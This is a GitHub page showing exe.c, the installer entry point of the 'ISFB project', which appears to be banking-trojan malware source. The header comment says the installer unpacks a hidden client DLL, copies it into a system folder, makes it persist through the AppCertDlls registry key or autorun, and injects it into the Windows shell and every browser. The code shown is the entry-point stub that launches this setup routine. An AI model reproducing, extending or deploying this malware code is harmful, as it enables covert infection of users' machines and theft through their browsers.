-
Notifications
You must be signed in to change notification settings - Fork 53
/
Copy pathexe.c
76 lines (56 loc) · 1.93 KB
/
exe.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ISFB project. Version 2.13.24.1
//
// module: exe.c
// $Revision: 256 $
// $Date: 2014-06-28 18:54:55 +0400 (Сб, 28 июн 2014) $
// description:
// ISFB client installer.
// This process contains packed client DLL image in resources. When started, it unpacks client DLL, copies it into
// one of system folders, registers it within either AppCertDlls key or Windows autorun, and attempts to inject it into the
// Windows Shell process and all known browsers.
#include "common\common.h"
// Predifinitions
WINERROR CrmSetup(LPTSTR pCmdLine);
//
// This is our application EntryPoint function.
//
WINERROR APIENTRY _tWinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow
)
{
WINERROR Status = NO_ERROR;
DbgPrint("ISFB: Version: 2.6\n");
DbgPrint("ISFB: Started as win32 process 0x%x.\n", GetCurrentProcessId());
if ((g_AppHeap = HeapCreate(0, 0x400000, 0)))
{
g_CurrentModule = GetModuleHandle(NULL);
Status = CrmSetup(lpCmdLine);
HeapDestroy(g_AppHeap);
}
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(nCmdShow);
UNREFERENCED_PARAMETER(hInstance);
DbgPrint("ISFB: Process 0x%x finished with status %u.\n", GetCurrentProcessId(), Status);
return(Status);
}
//
// This is our application EntryPoint function to build it without CRT startup code.
//
INT _cdecl main(VOID)
{
WINERROR Status = NO_ERROR;
DbgPrint("ISFB: Started as win32 process 0x%x\n", GetCurrentProcessId());
if ((g_AppHeap = HeapCreate(0, 0x400000, 0)))
{
g_CurrentModule = GetModuleHandle(NULL);
Status = CrmSetup(GetCommandLine());
HeapDestroy(g_AppHeap);
}
DbgPrint("ISFB: Process 0x%x finished with status %u\n", GetCurrentProcessId(), Status);
ExitProcess(Status);
return(Status);
}